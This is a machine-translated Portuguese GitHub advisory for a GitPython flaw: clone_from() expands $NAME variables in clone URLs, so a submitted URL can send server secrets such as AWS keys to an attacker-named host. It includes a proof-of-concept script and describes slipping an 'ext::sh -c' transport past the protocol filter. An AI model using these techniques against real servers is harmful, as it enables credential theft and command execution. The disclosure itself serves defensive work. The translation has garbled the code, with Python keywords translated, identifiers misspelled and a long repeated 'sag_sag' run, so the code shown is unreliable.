### Resumo `Repo.clone_from()` passa a URL remota fornecida pelo usuário através de `Git.polish_url()`, que em todas as plataformas não-Cygwin chama `os.path.expandvars()` na URL antes de entregá- la para `git clone'. Um atacante que controla o argumento URL — o caso de uso documentado para ` clone_from()` em "importa repositório de URL" características de servidores CI, espelhos de hospedagem de git e scanners de dependência — pode incorporar símbolos `$NAME` / `${NAME}` que são expandidos lado servidor aos valores das variáveis de ambiente do processo de hospedagem. O URL resultante, que contém agora o segredo, é transmitido através da rede para o host com o nome de atacante. Isto cruza o limite de confiança entre uma URL remota não confiada e o ambiente de processo do servidor, revelando segredos como `AWS_SECRET_ACCESS_KEY` ou `GITHUB_ TOKEN` sem pré- precondição além da capacidade de enviar uma URL clonada. ### Detalhes ** versões afetadas:** ` gitpython` (PyPI) — todas as versões até e incluindo ` 3.1.50 ` (último na hora do relatório); confirmado presente no ramo ` principal '. `Git.polish_url()` aplica incondicionalmente a expansão variável ambiente para sua entrada no ramo não- Cygwin: `git/cmd.py` (v 3.1.50 ), linhas 907 – 925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[Nenhum, bool] = Nenhum) -> CaminhoComo: """Retire quaisquer retrocessos de URLs para serem escritos em arquivos de configuração.... """ se is_cygwin é Nenhum: is_cygwin = cls.is_cygwin() se is_ cygwin: url = cygpath(url) outra coisa: url = os.path.expandvars(url) # <-- linha 921 se url. startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") retorna url ```.

`Repo._ clone()` — alcançado do público `Repo. clone_from()` (`git/ repo/base.py: 1520 `) e `Repo.clone()` — executa a verificação de protocolos inseguros no URL **raw** e depois passa o URL **polido** (post- expansão) para o subprocesso 'git clone': `git/ repo/base.py` (v 3.1.50 ), linhas 1407 – 1418: ```python se não permite_insafe_protocols: Git.check_insafe_protocols(url) se não permite_insafe_options: Git.check_insafe_options(options=list(kwargs.keys()), insafe_options=cls.insafe_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_s_sag_sag_s_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_sag_s_sag_sag_sag_s_sag_sag_s_ proc = git. clone( multi, "--", Git.polish_url(url), # <-- linha 1417: URL expandido enviado para "Git clone` clone_path,... ) ``` Porque `os.path.expandvars()` no POSIX substitui `$NAME` e `${NAME}` com `os.environ[NAME]` quando definido (e no Windows adicionalmente `%NAME%`), uma URL fornecida pelo atacante como: é reescrito lado servidor para incorporar o valor secreto literal no componente de caminho, e `git clone` em seguida, emite uma solicitação HTTP(S) (e procura DNS, se o símbolo for colocado na etiqueta host) carregando esse valor para `atacker.exemplo`. O próprio clone normalmente falhará, mas o segredo já deixou o servidor até esse ponto.

`polish_url()` foi escrito como um ajudante de normalização local (conversão de caminho Cygwin, `~` expansão, fixação de backslash) e é aplicado indiscriminadamente a URLs remotas. Não há nenhuma verificação de esquema, nenhuma opção `expand_vars=False` para a URL do clone, e nenhuma documentação que a URL submeta à expansão do ambiente — o `clone_from` docstring descreve `url` apenas como um "url git válido". Em contraste, os mantenedores já marcam a expansão do env-var como preocupação de segurança para o argumento * local do caminho do repositório*: ` Repo.__init__` emite um aviso de deprecação ("O uso de variáveis de ambiente em caminhos é deprecated por razões de segurança", ` git/ repo/ base.py: 226 – 231 `) e oferece `expand_vars=False`. Falta o mesmo tratamento para a URL do clone ligada à rede. **Conseqüência secundária (conseqüência de filtro de umprotocolo inseguro).** Porque `check_unsafe_protocols()` é executado na URL * pré- expansão* (linha) 1408 ) mas o URL *post- expansion* é o que atinge `git ', um atacante que controla adicionalmente qualquer variável de ambiente no processo do servidor pode definir por exemplo `X=ext::sh - c '...'' e enviar `url="$X"'; a string em bruto `$X' passa pelo filtro `ext::', em seguida, expande- se para um transporte de ajuda remota `ext::' que `git' irá executar. Isto requer uma segunda condição prévia (env-var write) e é anotado como um fator agravante em vez de uma vulnerabilidade separada. ### PoC Testado contra `gitpython' 3.1.50 ` no Linux com Python 3 e `git` no `PATH`. ``` bash pitão 3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip instalar gitpython== 3.1.50 /tmp/ gp-venv/bin/python poc.py ```.

`poc.py`: ```python #!/usr/bin/env python 3 """" PoC: exfiltração variável ambiente via URL Repo. clone_from(). Demonstra que um argumento `url` controlado pelo atacante para Repo. clone_from() é passado por os.path.expandvars() antes de ser dado ao `git clone', então os símbolos `$NAME` na URL são substituídos com os valores variáveis do processo do servidor e transmitidos para o hospedeiro nomeado pelo atacante. O PoC intercepta o argv do Popen para mostrar o URL exato entregue ao `git` sem executar o E/ S da rede real. """ importar os importar sys importar subprocessar importar o templary de importação # Simular uma variável de ambiente sensível do lado do servidor. os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K 7 MDENG/bPxRfiCYEXEMPLEKEY".

importar git # noqa: E 402 a partir da importação do git Git, Repo # noqa: E 402 print( f" versões gitpython: {git.__version__}"). # --- Camada 1: Git.polish_url() diretamente ----------------------------------------- atacante_url = " polido = Git.polish_url(atacker_url) print("\n[Layer 1 ] resultado polish_url:") print( f" entrada: {atacker_url}") print( f" saída: {polished}") se os.environ["AWS_SECRET_ACCESS_KEY"] em polido: print(" -> secreta SUBSTITUIDO em URL por polish_url()") # --- Camada 2: Full Repo. clone_from() -- captura argv dada a ` git` --------- capturado = {} orig_popen = subprocess.Popen classe CapturandoPopen( orig_popen): def __init__(self, cmd, *a, **kw): se isistance(cmd, (list, tuple)) e "clone" em cmd: capturado["cmd"] = list(cmd) super().__init__(cmd, *a, **kw).

subprocesso.Popen = CapturandoPopen importa git.cmd como gitcmd # noqa: E 402 gitcmd.safer_popen = CapturandoPopen # não- Windows: sever_popen == Popen dest = tempfile.mkdtemp(prefix="gp_poc_") tente: Repo.clone_from(atacker_url, os.path.join(dest, "out")) exceto Exceção como e: # O clone falha (atacker.exemplo não resolve); só precisamos de argv. print(f"\n[Layer 2 ] clone_ from surveyed (esperado): {type( e).__name__}") subprocesso.Popen = orig_popen. print("\n[Layer 2 ] argv passou para `git clone` subprocess:") para o tok no captured.get("cmd", []): print( f" {tok}") cmd = capturado.get("cmd", []) url_arg = cmd[cmd.index("--") + 1 ] se "--" em cmd outra Nenhuma impressão( f"\n[Layer 2 ] argumento URL dado ao git: {url_arg}").

secreta = os.environ["AWS_SECRET_ACCESS_KEY"] se url_arg e segredo em url_arg: print( "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY foi interpolado " "no URL do clone remoto; git transmitiria para o atacante.exemplo." ) sys.exit( 0 ) print("\nNOVANTERABLE") sys.exit( 1 ) ``` Saída esperada: ``` gitpython versão: 3.1.50. [Layer 1 ] resultado polish_url: entrada: saída: 7 MDENG/bPxRfiCYEXAMPLEKEY/repo.git -> SUBSTITUIÇÃO secreta em URL por polish_url() [Layer 2 ] clone_ from levantado (esperado): GitCommandError. [Layer 2 ] argv passou para o subprocesso `git clone`: git clone -v -- 7 MDENG/bPxRfiCYEXEMPLEKEY/repo.git /tmp/gp_poc_XXXXXXXX/out [Layer 2 ] Paralelo de URL dado ao git: 7 MDENG/bPxRfiCYEXEMPLEKEY/repo.git. VULNERÁVEL: servidor env var AWS_SECRET_ACCESS_KEY foi interpolado no URL do clone remoto; o git o transmitiria para o attacker. exemplo. ```.

O argv capturado é a linha de comando exata gerada pelo GitPython; contra um host controlado pelo atacante real, o `git` emitiria um pedido de busca DNS e HTTP( S) para aquele host com o segredo incorporado no caminho do pedido. ### Impacto Qualquer aplicativo que chame `Repo.clone_from()` (ou `Repo.clone()`) com um URL totalmente ou parcialmente controlado pelo atacante — o padrão canônico para "importar/mirror repository from URL" recursos de sistemas CI, plataformas de hospedagem de código- fonte, scanners de dependência e pipelines de construção — permite que um atacante não autenticado ou de baixo privilégio exfiltre variáveis arbitrárias de ambiente do processo do servidor, um por pedido, nomeando- as no URL. As credenciais da nuvem, os símbolos API e as chaves de assinatura armazenadas no ambiente são os alvos principais. Os aplicativos que não aceitam URLs de clones de fontes não confiáveis, ou que executam o clonador num processo com um ambiente totalmente desmontado, não são afetados. Não há impacto direto de integridade ou disponibilidade. **Sugereu a correção:** Remova a chamada `os.path.expandvars()` (e `os.path.expanduser()`) de `Git.polish_url()` para entradas que são URLs remotas (contém `://` ou correspondem `user@ host:path`), ou remove a expansão inteiramente e requere que os chamados que querem expansão local de env para executá- la eles mesmos — refletindo a deprecação existente no `Repo(path, expand_vars=...)`. Além disso, aplique `check_unsafe_protocols()` à URL *post-transformation* para que nenhuma mudança futura `polish_url` possa contornar silenciosamente o filtro `ext::`. Registro de aconselhamento: GHSA-rwj 8 - pgh 3 - r 573. Não há nenhum identificador adicional listado.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 21 T 22: 06: 09.000 Z e lista a sua última modificação como 2026 - 07 - 21 T 22: 06: 10.000 Z. Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Informações sobre software e versão afetadas: pacote PyPI gitpython — ECOSISTEM: introduzido 0, corrigido 3.1.52. Classificação e evidência: identificadores de fraqueza CWE- 200, CWE- 201. O registro contém 5 suporte de referências nestes tipos: WEB, PACKAGE.